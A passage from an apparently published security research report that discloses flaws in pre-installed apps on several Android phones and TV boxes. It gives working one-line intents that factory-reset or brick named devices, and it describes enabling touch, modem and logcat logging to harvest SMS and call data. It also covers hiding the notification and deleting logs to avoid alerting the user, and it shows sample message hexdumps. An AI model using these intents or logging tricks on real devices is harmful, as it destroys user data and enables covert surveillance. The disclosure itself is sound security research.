groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admi
n),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
8. Programmatically Factory Resetting the Device
A factory reset will wipe the data and cache partitions. This removes any apps the user has installed and
any other user or app data that the user does not have backed up externally. An unintentional factory reset
can present a major inconvenience due to potential for data loss. For an app to be able to directly factory
reset a device, it requires that an app have the MASTER_CLEAR permission31. This permission is only granted
to apps that are pre-installed. Therefore, a third-party app that the user downloads cannot perform a factory
reset of the device directly. There is an exception for enabled Mobile Device Management (MDM) apps. A
user can download an MDM app and then enable it as a device administrator through the Settings app. Prior
to enabling the app as a device administrator, the user will be presented with its list of capabilities, which
can include the “erase all data” capability. All of the vulnerabilities we found were due to an app privileged
31 https://developer.android.com/reference/android/Manifest.permission.html#MASTER_CLEAR
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
enough to perform a factory reset (i.e., apps that are granted the MASTER_CLEAR permission and platform
apps) exposing an interface that, when called, will programmatically initiate a factory reset of the device.
A privileged app can initiate a factory reset of the device by sending a broadcast intent with an action of
android.intent.action.MASTER_CLEAR. The system_server process contains a broadcast receiver
named com.android.server.MasterClearReceiver that, when it receives the MASTER_CLEAR action, will
boot into recovery mode to format the data and cache partitions. This is generally accomplished by calling
a method with a signature that is similar to the following method although the parameters can vary:
android.os.RecoverySystem.rebootWipeUserData(*). This method writes content to a file with a path
of /cache/recovery/command that contains at least the line of --wipe_data and boots into recovery mode.
8.1 T-Mobile Revvl Plus & T-Mobile Coolpad Defiant – Factory Reset
The T-Mobile Revvl Plus device32 and the T-Mobile Coolpad Defiant33 have a pre-installed app with a
package
name
of
com.qualcomm.qti.telephony.extcarrierpack
(versionCode=25,
versionName=7.1.1). This app is privileged since it executes as the system user. This app contains a
broadcast
receiver
application
component
with
a
fully
qualified
class
name
of
com.qualcomm.qti.telephony.extcarrierpack.UiccReceiver. When the UiccReceiver component
receives a broadcast intent with an action string of com.tmobile.oem.RESET, it will initiate and complete
a programmatic factory reset by sending out a broadcast intent with an action string of
android.intent.action.MASTER_CLEAR. This will cause the user to lose any data that they have not
backed up or synced to an external location. The source code provided below will initiate a factory reset of
the device.
sendBroadcast(new Intent("com.tmobile.oem.RESET"));
8.2 Essential Phone – Factory Reset
The vulnerability lies in an app with a package name of
com.ts.android.hiddenmenu
(versionName=1.0, platformBuildVersionName=8.1.0). This app is a platform app and executes as the
system user. Generally, the MASTER_CLEAR permission34 is required to be able to send a broadcast intent
with an action string of android.intent.action.MASTER_CLEAR broadcast intent, but the app has the
capability as various powerful permissions are granted by default to platform apps. The
com.ts.android.hiddenmenu app has an activity application component show below.
<activity android:exported="true" android:label="@string/rtn"
android:name="com.ts.android.hiddenmenu.rtn.RTNResetActivity"
android:noHistory="true" android:screenOrientation="portrait"
android:theme="@android:style/Theme.Dialog"/>
The RTNResetActivity app component is explicitly exported, as it sets the android:exported attribute
to a value of true. When an app component is exported, this allows any on the device to start this app
component since there are no permission requirements (e.g., android:permission attribute) to access it.
32 https://www.t-mobile.com/devices/t-mobile-revvl-plus
33 https://support.t-mobile.com/community/phones-tablets-devices/android/coolpad-defiant
34 https://developer.android.com/reference/android/Manifest.permission.html#MASTER_CLEAR
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Internally, the RTNResetActivity component starts other components where the
com.ts.android.hiddenmenu.util.ResetActivity activity sends a broadcast intent with
android.intent.action.MASTER_CLEAR. This will programmatically factory reset the device and
potentially cause data loss. The source code below can be run to initiate a factory reset.
Intent i = new Intent();
i.setClassName("com.ts.android.hiddenmenu", "com.ts.android.hiddenmenu.rtn.RTNResetActivity");
startActivity(i);
Figure 2 shows the steps involved for a third-party to programmatically factory reset the Essential device.
FIGURE 2. PROGRAMMATIC FACTORY ON THE ESSENTIAL PHONE DEVICE.
8.3 ZTE Zmax Champ – Factory Reset
The pre-installed app that exposes the capability for a third-party app to factory reset the device has a
package name of com.zte.zdm.sdm (versionCode=31, versionName=V5.0.3). This app executes as the
system user. This app does not request the android.permission.MASTER_CLEAR permission in it
AndroidManifest.xml file, although it will be automatically granted this permission since it is executing
as the system user. The system user is a privileged user on the device and is granted a powerful block of
permissions by default. One of these capabilities granted to the system user is to programmatically factory
reset the device.
The com.zte.zdm.sdm app has a statically declared broadcast receiver in its AndroidManifest.xml file
with a name of com.zte.zdm.VdmcBroadcastReceiver that can handle broadcast intents with an action
string of android.intent.action.DM_FATORY_RESET_TEST_BY_TOOL. The VdmcBroadcastReceiver
component is exported, by default, and accessible to any app on the device, since it does not explicitly set
the android:exported attribute a value to false, has at least one intent-filter declared, and is not
protected by a custom or platform-defined permission. When a broadcast intent is sent with this action, the
com.zte.zdm.MyCommand.bootCommand(String) method is called with a parameter of --wipe_data.
This method will write a value of --wipe_data to a file with a path of /cache/recovery/command and
then use the PowerManager to boot into recovery mode. Generally, a few additional lines are written in
addition to the --wipe_data line, but these lines have been omitted from step 5 of Figure 2. This will
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
programmatically factory reset the device. The code to perform the aforementioned described behavior is
below. The code is a single line and simply sends a broadcast intent with a specific action string.
sendBroadcast(new Intent("android.intent.action.DM_FATORY_RESET_TEST_BY_TOOL"));
8.4 Leagoo Z5C – Factory Reset
Any app on the device can send an intent to factory reset the device programmatically. This does not require
any user interaction. capability is present in an unprotected application component of the
com.android.settings app (versionCode=23, versionName=6.0-android.20170630.092853). This
app has an exported broadcast receiver named com.sprd.settings.PhoneTrackCommandReceiver, and
its declaration in the AndroidManifest.xml file is shown below.
<receiver android:name="com.sprd.settings.PhoneTrackCommandReceiver">
<intent-filter>
<action android:name="android.intent.action.phonetrack_masterclear"/>
<action android:name="android.intent.action.phonetrack_setpassword"/>
</intent-filter>
</receiver>
Internally, when the PhoneTrackCommandReceiver component receives a broadcast intent with an action
string of android.intent.action.phonetrack_masterclear, it will send a broadcast intent with an
action string of android.intent.action.MASTER_CLEAR, which initiates a programmatic factory reset of
the device. The single source code line below will cause the Leagoo Z5C device to be perform a factory
reset.
sendBroadcast(new Intent("android.intent.action.phonetrack_masterclear"));
8.5 Leagoo P1 – Factory Reset
The vulnerability lies in an app with a package name of com.wtk.factory (versionCode=1,
versionName=1.0). This app executes as the system user as it is a platform app. Specifically, this app is
signed with the platform key and sets the android:sharedUserId attribute to a value of
android.uid.system in its AndroidManifest.xml file. This app also requests the MASTER_CLEAR
permission, allowing it to perform a programmatic factory reset of the device. The com.wtk.factory app
has a broadcast receiver application component declared in its AndroidManifest.xml file show below.
<receiver android:name="com.wtk.factory.MMITestReceiver">
<intent-filter>
<action android:name="com.mmi.helper.request"/>
</intent-filter>
</receiver>
The
MMITestReceiver
app
component
sends
a
broadcast
intent
with
android.intent.action.MASTER_CLEAR as the action string when it receives an intent sent to it using the
source code below.
Intent i2 = new Intent();
i2.setAction("com.mmi.helper.request");
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
i2.setClassName("com.wtk.factory", "com.wtk.factory.MMITestReceiver");
i2.putExtra("type", "factory_reset");
i2.putExtra("value", "100");
sendBroadcast(i2);
8.6 Plum Compass – Factory Reset
The vulnerability is contained in an app with a package name of com.android.settings
(versionCode=23, versionName=6.0-eng.root.20161223.224055). This app is a platform app and
executes as the system user. This app also requests the MASTER_CLEAR permission allowing it to perform a
programmatic factory reset of the device. The com.android.settings app has a broadcast receiver
application component show below.
<receiver android:name="com.android.settings.FactoryReceiver">
<intent-filter>
<action android:name="android.intent.action.factory"/>
</intent-filter>
</receiver>
Internally,
the
FactoryReceiver
component
sends
a
broadcast
intent
with
android.intent.action.MASTER_CLEAR as the action string when it receives an intent sent to it using the
source code below.
Intent i = new Intent();
i.setClassName("com.android.settings", "com.android.settings.FactoryReceiver");
sendBroadcast(i);
8.7 Orbic Wonder – Factory Reset
The vulnerability lies in the core Android package (with a package name of android) which is a privileged
part of the Android OS. This process executes as the system user. Within the android package, there is a
broadcast receiver application component named com.android.server.MasterClearReceiver. When
this component receives a broadcast intent addressed to it, it will programmatically initiate and complete a
factory reset. The source code below will initiate a factory reset on the device. Please note that the action
string of potatoes is not strictly required, it just needs to be any non-empty string.
Intent i2 = new Intent();
i2.setClassName("android", "com.android.server.MasterClearReceiver");
i2.setAction("potatoes");
sendBroadcast(i2);
8.8 MXQ TV Box 4.4.2 – Factory Reset
Normally, sending a broadcast with an action string of android.intent.action.MASTER_CLEAR cannot
be sent by a third-party app, but it can be sent by a third-party app on this device. This is due to the fact
that the com.android.server.MasterClearReceiver app component in the system_server process is
not statically registered in the core android package, and is instead registered dynamically and does not
have the MASTER_CLEAR permission access requirement. This behavior is not present in 4.4.2 AOSP code.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
sendBroadcast(new Intent ("android.intent.action.MASTER_CLEAR"));
The programmatic factory reset will wipe all user data and any data that has not been backed up or synced
to an external location will be lost.
9. Setting Properties as the com.android.phone User
We discovered a pre-installed app on some devices that exposes the capability to set system properties as
the com.android.phone user. This can be performed by any app on the device due to an exported service
in the com.qualcomm.qti.modemtestmode app. This platform app executes as the system user. Appendix
F provides the AndroidManifest.xml file for the com.qualcomm.qti.modemtestmode app from a Vivo
V7 Android device. This app contains an explicitly exported service named MbnTestService that allows
the caller to provide a key-value pair that it will write as a system property. This application is still bound
by SELinux rules regarding its context and associated capabilities. Based on our testing, the
com.qualcomm.qti.modemtestmode app can modify system properties that start with the persist. prefix
(e.g., persist.sys.factory.mode). Vendors can introduce their own system properties that can alter the
functionality of the device when a system property is set to a certain value.
The MbnTestService service is a bound service that provides an interface for clients to access. The bound
service has a corresponding AIDL file that easily allows the client app to perform RPCs on the service. If a
client app lacks the AIDL file, the client app can still interact with the bound service although they will
have to perform low-level behavior that the AIDL file abstracts from the developer. The client will need to
create and populate the Parcel object, provide the correct interface name, and call the correct function
number on the interface. The source code to perform this behavior on the Vivo V7 is provided in Appendix
G. We provide two examples, Vivo V7 and Coolpad Canvas, of how settings a system property can enable
logging features on a device that would otherwise be unavailable to a third-party app.
9.1 Vivo V7 – Obtaining User Touch Input
The
Vivo
V7
device
contains
the
com.qualcomm.qti.modemtestmode
(versionCode=25,
versionName=7.1.2)
app.
This
device
has
a
build
fingerprint
of
vivo/1718/1718:7.1.2/N2G47H/compil11021857:user/release-keys. A third-party app can modify
certain system properties on the device. Specifically, setting the persist.sys.input.log key to a value
of 1, will make the user’s screen touches be written to the logcat log by the InputDispatcher for all apps.
Vivo V7 also contains a vulnerability to have a pre-installed app write the logcat logs to the SD card as
detailed in Section 5.5. With some effort and knowledge of the device, an attacker can translate the
coordinates to keyboard keypresses. This allows the attacker to determine the user’s keypresses on the
keyboard, potentially exposing PII. The device will need to be rebooted in order for the system property to
be read at boot time. A third-party app can quickly cause a system crash and reboot the Vivo V7 device by
sending a broadcast intent with an action of intent.action.super_power_save_send. The system crash
is due to inadequate null-checking at runtime and also a lack of exception handling in the system_sever
process. Below are some log messages from the Vivo V7 device showing the x and y touch coordinates.
04-13 12:08:00.060 1422 1770 D InputDispatcher: Pointer 0: id=0, toolType=1, x=460.000000,
y=1027.000000, pressure=0.023529, size=0.023529, touchMajor=6.000000, touchMinor=6.000000,
toolMajor=6.000000, toolMinor=6.000000, orientation=0.000000
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
04-13 12:08:00.060 1422 1770 D InputDispatcher: Pointer 1: id=1, toolType=1, x=166.000000,
y=1282.000000, pressure=0.023529, size=0.023529, touchMajor=6.000000, touchMinor=6.000000,
toolMajor=6.000000, toolMinor=6.000000, orientation=0.000000
04-13 12:08:00.060 1422 1770 D InputDispatcher: Pointer 2: id=2, toolType=1, x=268.000000,
y=1070.000000, pressure=0.015686, size=0.015686, touchMajor=4.000000, touchMinor=4.000000,
toolMajor=4.000000, toolMinor=4.000000, orientation=0.000000
9.2 Coolpad Canvas – Write Logcat log, Kernel log, and tcpdump Capture to the SD Card
The Coolpad Canvas Android device35 is sold by Cricket Wireless and contains a vulnerable version of the
com.qualcomm.qti.modemtestmode (versionCode=24, versionName=7.0) app, allowing third-party
apps to change certain system properties (as explained in Section 9) . The build fingerprint of the device is
Coolpad/cp3636a/cp3636a:7.0/NRD90M/093031423:user/release-keys. Setting a system property
can enable logging features on the device that would not otherwise be unavailable to a third-party app.
Specifically, using the method described above, any app can set the persist.service.logr.enable
property to a value of 1 to enable logging on the device. When this occurs, the device will start writing log
files to a path of /sdcard/log. Below is a listing of the files created in the /sdcard/log directory.
cp3636a:/sdcard/log $ ls -al
total 1984
drwxrwx--x 2 root sdcard_rw 4096 2018-05-18 11:42 .
drwxrwx--x 15 root sdcard_rw 4096 2018-05-18 01:30 ..
-rw-rw---- 1 root sdcard_rw 632 2018-05-18 11:48 0518114248.crash.txt
-rw-rw---- 1 root sdcard_rw 157544 2018-05-18 11:48 0518114248.events.txt
-rw-rw---- 1 root sdcard_rw 241356 2018-05-18 11:48 0518114248.kernel.txt
-rw-rw---- 1 root sdcard_rw 261513 2018-05-18 11:48 0518114248.main.txt
-rw-rw---- 1 root sdcard_rw 65536 2018-05-18 11:47 0518114248.net.pcap
-rw-rw---- 1 root sdcard_rw 11 2018-05-18 11:42 0518114248.qsee.txt
-rw-rw---- 1 root sdcard_rw 244923 2018-05-18 11:48 0518114248.radio.txt
-rw-rw---- 1 root sdcard_rw 28089 2018-05-18 11:48 0518114248.system.txt
Five of the files correspond to the different log buffers (crash, events, radio, system, and main). These files
are highlighted in orange. Android prevents third-party apps from reading directly from the system-wide
logcat log since it tends to contain sensitive data. The kernel log is highlighted in purple. A network package
capture (pcap) file is also highlighted in green. The qsee file, highlighted in blue contains a log for when
logging starts. Therefore, any app with the READ_EXTERNAL_STORAGE permission can enable the logging to
the SD card and read the log files.
When the persist.service.logr.enable system property is set to a value of 1 when the device finishes
booting, an app with a package name of com.yulong.logredirect (versionCode=20160622,
versionName=5.25_20160622_01) will create a sticky notification. If the setting of the
persist.service.logr.enable system property to a value of 1 happens after the boot process has
completed, then notification will not be created by the com.yulong.logredirect app. Therefore, to keep
the notification from appearing, the attacking app will have to set the persist.service.logr.enable
system property to a value of 0 prior to the device being shut down or rebooted. To accomplish this the app
needs
to
dynamically-register
a
broadcast
receiver
that
listens
for
the
action
of
android.intent.action.ACTION_SHUTDOWN. Once this broadcast is received, the app will use an already
35 https://www.cricketwireless.com/support/devices-and-accessories/coolpad-canvas-device-support/customer/device-
support.html
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
existing object that extends the ServiceConnection interface to quickly interact with the MbnTestService
bound service to quickly change the persist.service.logr.enable system property to a value of 0. Then
when the device boots back up again, the notification will not be on and the attacking app can listen for
various broadcast intents through a statically declared broadcast receiver app component in the attacking
app’s AndroidManifest.xml file. This unburdens the attack app of also having to request the
RECEIVE_BOOT_COMPLETED permission. For example, the app can statically register for the following
broadcast
actions:
android.intent.action.SIM_STATE_CHANGED
and
org.codeaurora.intent.action.ACTION_NETWORK_SPECIFIER_SET.
Interacting
with
the
com.qualcomm.qti.modemtestmode app to change system properties is done in the same way as in
Appendix G for the Vivo V7 device, except the Coolpad Canvas device uses an interface token name of
com.qualcomm.qti.modemtestmode.IMbnTestService
instead
of
com.qualcomm.qti.modemtestmode.f that is used for the Vivo V7. Other than this, the code to interact
with the bound services is the same where the attacking app provides the appropriate key-value pair to
modify system properties.
9.3 Coolpad Canvas – Leaking Telephony Data to the Logcat Log Vulnerability
The previous vulnerability (i.e., activating the logcat logs) allows any third-party app with the
READ_EXTERNAL_STORAGE permission to read various log files including the logcat log. The standard
Android Open Source Project (AOSP) code for the com.android.phone app does not write Short Message
Service (SMS) messages to the Android log.
The com.android.phone app writes the user’s sent text messages to the logcat log.
05-18 16:33:19.165 1735 2120 E mzq : table =smsvalues =address=(703) 555-1234
creator=com.android.mms thread_id=1 sub_id=1 read=1 date=1526675599134 body=huba
subject=null priority=-1 type=6
The system_server process writes the outgoing calls to the logcat log.
05-18 16:38:53.565 1173 1173 I Telecom : Class: processOutgoingCallIntent handle =
tel:1%20800-864-8331,scheme = tel, uriString = 1 800-864-8331, isSkipSchemaParsing =
false, isAddParticipant = false: PCR.oR@AJU
10. ZTE Devices – Dump Modem Logs and Logcat Logs to the SD Card
We discovered a vulnerability that allows any third-party app on the device to activate the writing of the
modem and logcat logs to the SD card. This vulnerability has been present on each ZTE device we have
examined with all of them were sold by US carriers. Specifically, the devices and their build fingerprints
are provided below.
Verizon ZTE Blade Vantage - ZTE/Z839/sweet:7.1.1/NMF26V/20180120.095344:user/release-keys
AT&T ZTE Blade Spark - ZTE/Z971/peony:7.1.1/NMF26V/20171129.143111:user/release-keys
T-Mobile ZTE Zmax Pro - ZTE/P895T20/urd:6.0.1/MMB29M/20170418.114928:user/release-keys
Total Wireless ZTE Zmax Champ - ZTE/Z917VL/fortune:6.0.1/MMB29M/20170327.120922:user/release-keys
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
This vulnerability allows any app co-located on the device to use another app’s capabilities to obtain
sensitive data that the initiating app itself lacks permission to access. An app using this vulnerability to
monitor the user’s telephony behavior will require the READ_EXTERNAL_STORAGE permission. This
permission allows an app to read from the device’s external storage (SD card). If the monitoring of the
modem logs is to continue for an extended period of time, the attacking app should also periodically delete
the logs since the aggregate size of the modem log files can start to fill up external storage. When this
occurs, the user may notice a notification that indicates that the log files are taking up too much space
external storage. To avoid this notification, the attacking app needs to delete old modem log files to ensure
that adequate space remains so as to not potentially alert the user via a notification. The
com.android.modem.service.ISdlogService interface (explained later) conveniently provides the
deleteAllLog() method, so the attacking app does not need to request the WRITE_EXTERNAL_STORAGE
permission.
In
any
case,
the
app
facilitating
the
modem
logging
functionality
,
com.android.modem.service (versionCode=25, versionName=7.1.1), cannot be disabled by the user.
If the modem logs themselves or a file containing only parsed data from them is to be exfiltrated from the
device, the attacking app should also request the INTERNET permission. The modem logs will be written to
a
base
directory
of
/sdcard/sd_logs.
A
concrete
file
path
of
a
modem
log
is
/sdcard/sd_logs/sdlog_09_11_24_58.qmdl.gz. This file is a Qualcomm Extensible Monitor Log file
that has been compressed using gzip. The modem log contains the raw SMS Protocol Data Units (PDUs)
for sent and received text messages, including the message body, timestamp, and telephone number. In
addition, the modem log contains the phone numbers for placed and received phone calls. The subsections
below will be described used the ZTE Blade Vantage, although the process is the same for all ZTE devices
we have examined.
10.1 ZTE – Obtaining the Modem Log Vulnerability Details
The Android OS contains a service manager that allows apps to obtain a reference to the available services
on the device. The service manager resides within the system_server process. The system_server
process is a critical OS process that provides necessary services to apps on the device. Apps that execute as
the system user (the same user that system_server uses) have the ability to register services with the OS
service manager and make them available to other apps on the device. The ZTE Blade Vantage contains a
pre-installed platform app with a package name of com.android.modem.service (versionCode=25,
versionName=7.1.1) that executes as the system user and registers a service named ModemService. The
com.android.modem.service.ModemService class within the com.android.modem.service package
explicitly registers itself with an interface class of com.android.modem.service.IModemService$Stub
to the Android OS service manager. The com.android.modem.service.IModemService$Stub is
provided to the Android OS service manager so that other apps can obtain a reference to this interface and
use
the
service.
Method
calls
on
this
interface
will
be
delivered
to
the
com.android.modem.service.ModemService class within the com.android.modem.service package.
The com.android.modem.service.ModemService class itself acts as a mini service manager for services
it offers within its own app (com.android.modem.service). Specifically, the IModemService interface
contains 5 methods that can be called where each returns a service interface. Their method signatures are
provided below, showing the method name and the service interface they return.
getAdbLogInterface() returns com.android.modem.service.ILogService
getAssistantInterface() returns com.android.modem.service.IAssistantService
getModemInterface() returns com.android.modem.service.IModem
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
getModemRegistryInterface() returns com.android.modem.service.IModemRegistry
getSdlogInterface() returns com.android.modem.service.ISdlogService
The attacking app first obtains a reference to the service named ModemService using Java reflection from
the
Android
OS
service
manager.
This
retrieved
service
has
an
interface
named
com.android.modem.service.IModemService. Using the IModemService reference, the attacking app
can call the getSdlogInterface() method exported by the IModemService interface. The
getSdlogInterface()
method
returns
another
interface
named
com.android.modem.service.ISdlogService.
Method
calls
made
to
com.android.modem.service.ISdlogService
interface
will
be
delivered
to
the
com.android.modem.service.SdlogService
class.
The
com.android.modem.service.ISdlogService interface contains a large number of methods for
controlling the operation of the modem logging capability. In regard to making the device write the modem
logs to the SD card, the following methods on the com.android.modem.service.ISdlogService
interface are called in the following order: configSdlog(), enableLog(), and startLog(). At this point,
the device will start writing the modem logs to a base directory with a path of /sdcard/sd_logs. Any app
on the device that has permission to access the SD card, can process and parse the compressed qmdl files
for the user’s telephony data. This binary file can be viewed in Qualcomm eXtensible Diagnostic Monitor
Professional (QXDM Pro) or the binary qmdl file can be parsed directly for the user’s text messages and
call data. Below are byte sequences in PDU format for a sent text message and a received text message, as
well as a placed and received call. The PoC source code to enable the modem logs is provided in Appendix
H. The PoC code needs to be coded into an Android app and executed on the ZTE device with an active
Subscriber Identity Module (SIM) card. The examples below show the hexdump output of a binary qmdl
file from ZTE where the text message PDUs and call data have been identified.
Sent text message to the phone number 7035758208 with a message of “Test. Can you text me back?”
00e89b60 e0 00 01 09 05 00 07 63 33 59 01 30 00 06 00 07 |.......c3Y.0....|
00e89b70 91 31 21 13 94 18 f0 24 01 01 0a 81 07 53 57 28 |.1!....$....E..!|
00e89b80 80 00 00 1b d4 f2 9c ee 02 0d c3 6e 50 fe 5d 07 |`..........nP.].|
00e89b90 d1 cb 78 3a a8 5d 06 89 c3 e3 f5 0f 33 6a 7e 92 |..x:.]......3j~.|
The PDU starts at the address 0x00e89b6f with a single byte with hex value of 0x07 and ends at
0x00e89b90 with the end of the message body. The text message body is in 7-bit packed encoding and the
destination number is in decimal semi-octets. The number of the sender starts at address 0x00e89b7c and
ends at 0x00e89b80 and is in reverse order (i.e., 07 becomes 70). The text message body starts at address
0x00e89b80 and ends at 0x00e89b90. The message “Test. Can you text me back?” converts to
d4f29cee020dc36e50fe5d07d1cb783aa85d0689c3e3f50f in 7-bit packed encoding.
Received text message from the phone number 7035758208 with a message of “Sucka”
019928b0 29 00 09 01 25 01 e0 07 91 21 04 44 29 61 f6 00 |)...%....!.D)a..|
019928c0 19 04 0b 91 71 30 75 85 02 f8 00 00 81 30 11 51 |....Q.x......0.Q|
019928d0 40 34 69 06 d3 fa 78 1d 06 01 00 1b 22 7e 79 00 |@4i...x....."~y.|
The PDU starts at the address 0x019928b7 with a single byte with hex value of 0x07 and ends at
0x019928d8 with the end of the message body. The text message body is in 7-bit packed encoding and the
sending number is in decimal semi-octets. The number of the sender starts at address 0x019928c4 and ends
at 0x019928c8. The text message body starts at address 0x019928d4 and ends at 0x019928d8. The message
“Sucka” converts to d3fa781d06 in 7-bit packed encoding. The text message also contains a timestamp
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
where that starts at 0x019928c0c and ends at 0x019928d0. This hex value of 813011514034 converts to
3:04:43pm on March 11, 2018.
Received call from the phone number 7034227613
03d3eda0 10 00 7a 01 7a 01 c1 12 17 27 37 f5 c9 6a e0 00 |..z.z....'7..j..|
03d3edb0 03 00 00 00 00 11 00 00 00 07 00 00 00 01 00 00 |................|
03d3edc0 00 00 00 00 00 37 30 33 34 32 32 37 36 31 33 66 |.....7034227613f|
03d3edd0 50 11 00 00 f0 af 68 00 90 98 00 00 80 48 69 00 |P.....h......Hi.|
03d3ede0 d0 b6 e5 ff 00 00 00 00 40 86 02 00 10 f9 ff ff |........@.......|
Placed call to the United Airlines reservation number of 18008648331
03334a20 80 a0 70 c5 c9 6a e0 00 03 38 00 00 00 11 00 00 |..p..j...8......|
03334a30 00 06 00 00 00 01 00 00 00 00 00 00 00 31 38 30 |.............180|
03334a40 30 38 36 34 38 33 33 31 00 00 54 0e 60 34 c6 1b |08648331..T.`4..|
03334a50 00 00 03 00 50 89 00 80 00 00 00 00 00 00 00 00 |....P...........|
03334a60 d0 06 7f 02 00 00 00 00 00 00 00 00 30 0d 28 0a |............0.(.|
10.2 ZTE – Obtaining the Logcat Log Vulnerability Details
The logcat logs consist of four different log buffers: system, main, radio, and events. The logcat log is a
shared resource where any process on the device can write a message to the log. The logcat log is generally
for debugging purposes. An app can read only from the logcat logs that the app itself has written unless it
has requested and been granted the READ_LOGS permission by the Android OS. The Android OS and apps
can write sensitive data to the logs, so the capability to read from the system-wide logcat log was taken
away from third-party apps in Android 4.1. The logcat logs tend to contain email addresses, telephone
numbers, GPS coordinates, unique device identifiers, and arbitrary messages written by any process on the
device. A non-exhaustive list of concrete logcat log messages is provided in Appendix B. Using this
vulnerability, a third-party app can leverage another app to write the system-wide logcat logs to the SD
card. App developers may write sensitive data to the logcat log while under the impression that their
messages will be private and unobtainable. Information disclosure from the logcat log can be damaging
depending on the nature of the data written to the log. Appendix B contains a username and password pair
being written to the log in a US Fortune 500 bank’s Android app.
This vulnerability is present in the same app (com.android.modem.service) that allows the modem log
to be written to the SD card. A third-party app can use the ModemService to activate the logcat logs being
written to the SD card. As mentioned previously, the ModemService provides access to five different
services through interfaces to these services. The com.android.modem.service.IAssistantService
service interface allows any app on the device to programmatically enable the writing of the logcat logs to
the SD card. The writing of the logcat logs are inactive by default, although simply enabling their logging
to the SD card can be performed by an app with zero permissions. As mentioned with the modem logs, an
app that wants to read from the log files on the SD card, will need to request the READ_EXTERNAL_STORAGE
permission.
The
IAssistantService
service
interface
is
obtained
by
calling
the
getAssistantInterface() method on the
IModemService interface. Method calls to the
IAssistantService
service
interface
will
be
delivered
to
the
com.android.modem.service.AssistantService
class.
The
methods
exported
by
the
IAssistantService service interface mostly cover logging functions. To enable the logcat logs being
written to the SD card, the following two methods need to be called on the IAssistantService service
interface: enableDeamonProcess(boolean) and enableAdbLog(Boolean), where both Boolean values as
parameters to the methods have a value of true. Proof of Concept code is provided in Appendix I.
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Once the logcat logs have been activated, they will get written, by default, to the
/sdcard/sd_logs/AdbLog/logcat directory. Within this directory, there are four files matching the
names of the different log buffers: logcat_events.txt, logcat_main.txt, logcat_radio.txt, and
logcat_system.txt. These log files are in plaintext and can be parsed for known-formats of log messages
that contain sensitive data. Since these logs are written by default to a directory within the
/sdcard/sd_logs directory. The same method as previously, leveraging the deleteAllLog() method
from the ISdlogService method, provides a way of deleting the log files periodically
11. Making Devices Inoperable
We found two interesting cases where the sending of a single intent message can render an Android device
inoperable in the general case. The two devices are the MXQ Android 4.4.2 TV Box and the ZTE Zmax
Champ sold by Total Wireless.
11.1 MXQ TV Box – Making Devices Inoperable
The MXQ TV Box has added in a broadcast receiver application component in the core Android package
(i.e., android). This is part of the Android framework that runs in the system_server process. The MXQ
TV Box device has a build fingerprint of MBX/m201_N/m201_N:4.4.2/KOT49H/20160106:user/test-
keys. Any app on the device can send an intent to an exported broadcast receiver application component
that will make the device inoperable. After the device wouldn’t boot properly, we performed a factory reset
of the device in recovery mode, and the device would still not boot properly. This leads us to believe that
the system partition was modified as a result of the actions taken by the broadcast receiver that received an
intent. Specifically, the package name of the app is android (versionCode=19, versionName=4.4.2-
20170213),
and
it
contains
an
exported
broadcast
receiver
named
com.android.server.SystemRestoreReceiver.
Below
is
the
declaration
of
the
SystemRestoreReceiver app component in the app’s AndroidManifest.xml file.
<receiver android:name="com.android.server.SystemRestoreReceiver"
android:priority="100">
<intent-filter>
<action android:name="android.intent.action.SYSTEM_RESTORE"/>
</intent-filter>
</receiver>
Internally, the SystemRestoreReceiver app component, after receiving a broadcast intent addressed to it,
calls the androidos.RecoverySystem.rebootRestoreSystem(android.content.Context) method.
This is a custom method that was added into the android.os.RecoverySystem AOSP class. This custom
method writes a value of --restore_system\n--locale=<locale> to the /cache/recovery/command
file and boots into recovery mode. It appears that when booting into recovery mode, possibly the system
partition gets formatted or modified, which would explain the device not booting. We did not examine the
recovery partition to examine what actually occurs, but we did verify that the device is not functional after
the SystemRestoreReceiver component executes. Below is the source code to send the broadcast intent
that will make the device not boot properly. We believe that the user can recover the device by flashing
clean firmware images to the SD card and flashing them in recovery mode. We have not tried this method,
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
but generally Android TV boxes allow the owner of the device to flash firmware images that are present on
the SD card.
Intent intent = new Intent();
intent.setClassName("android", "com.android.server.SystemRestoreReceiver");
sendBroadcast(intent);
11.2 ZTE Zmax Champ – Making Devices Inoperable
We purchased a Total Wireless ZTE Zmax Champ device from Best Buy. This device contains an pre-
installed app with a package name of com.android.zte.hiddenmenu. This ZTE device has a build
fingerprint of ZTE/Z917VL/fortune:6.0.1/MMB29M/20170327.120922:user/release-keys. Any app
co-located on the ZTE Zmax Champ device can make the device generally unusable by sending a single
broadcast intent with a specific action string. Once this is received, the phone will continually enter recovery
mode and continually crash. We are not exactly sure why this occurs, but we have destroyed two phones
using it. The phone will boot into recovery mode, try to perform a factory reset, fail, reboot, and then
continually repeat all of the previous steps in a never-ending cycle. The device comes with a pre-installed
app with a package name of com.android.zte.hiddenmenu (versionCode=23, versionName=6.0.1).
This app executes as the system user and is a privileged platform app. In the app’s AndroidManifest.xml
file, a broadcast receiver named com.android.zte.hiddenmenu.CommandReceiver is declared that
